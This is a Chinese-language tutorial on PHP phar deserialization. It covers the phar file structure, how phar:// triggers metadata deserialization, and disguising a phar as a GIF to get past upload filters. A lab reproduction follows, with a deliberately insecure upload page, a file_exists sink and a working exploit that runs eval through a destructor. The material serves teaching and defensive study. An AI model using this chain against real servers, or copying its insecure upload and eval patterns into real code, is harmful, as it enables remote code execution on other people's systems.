phar文件简介

概念

一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自javajar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHPArchive构成,可以看出它是php归档文件的意思(简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行)

phar组成结构

stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储
contents:压缩文件的内容
signature:签名,放在文件末尾

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多

前提条件

php.ini中设置为phar.readonly=Off
php version>=5.3.0

phar反序列化漏洞

漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化

demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

可以很明显看到manifest是以序列化形式存储的
1.png
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
在网上扒了一张图
2.png
用如下demo证明

<?php 
    class TestObject {
        public function __destruct() {
            echo 'hello ghtwf01';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

3.png
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,极大的拓展了攻击面,其它函数也是可以的,比如file_exists函数,代码如下

<?php 
    class TestObject {
        public function __destruct() {
            echo 'hello ghtwf01';
        }
    }

    $filename = 'phar://phar.phar/a_random_string';
    file_exists($filename);
 ?>

4.png

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

5.png
采用这种方法可以绕过很大一部分上传检测

利用条件

phar文件需要上传到服务器端
要有可用的魔术方法作为“跳板”
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

漏洞复现

upload.php
白名单只允许上传jpg,png,gif

<!DOCTYPE html>
<html>
<head>
    <title>文件上传</title>
</head>
<body>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="pic" />
        <input type="submit" value="上传"/>
</body>
</html>
<?php
    header("Content-type:text/html;charset=utf-8");
    $ext_arr=array('.jpg','.png','.gif');
    if(empty($_FILES)){
        echo "请上传文件";
    }else{
        define("PATH",dirname(__DIR__));
        $path=PATH."/"."upload"."/"."images";
        $filetype=strrchr($_FILES["pic"]["name"],".");
        if(in_array($filetype,$ext_arr)){
            move_uploaded_file($_FILES["pic"]["tmp_name"],$path."/".$_FILES["pic"]["name"]);
            echo "上传成功!";
            }else{
                    echo "只允许上传.jpg|.png|.gif类型文件!";
            }
        
        }
?>

file_exists.php
验证文件是否存在,漏洞利用点:file_exists()函数

<?php
$filename=$_GET['filename'];
class ghtwf01{
    public $a = 'echo exists;';
    function __destruct()
    {
        eval($this -> a);
    }
}
file_exists($filename);
?>

构造phar文件

<?php
class ghtwf01{
    public $a = 'phpinfo();';
    function __destruct()
    {
        eval($this -> a);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new ghtwf01();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

改后缀名为gif,然后上传,最后在file_exists.php利用漏洞
6.png

参考链接

https://blog.csdn.net/u011474028/article/details/54973571
https://xz.aliyun.com/t/2715
https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/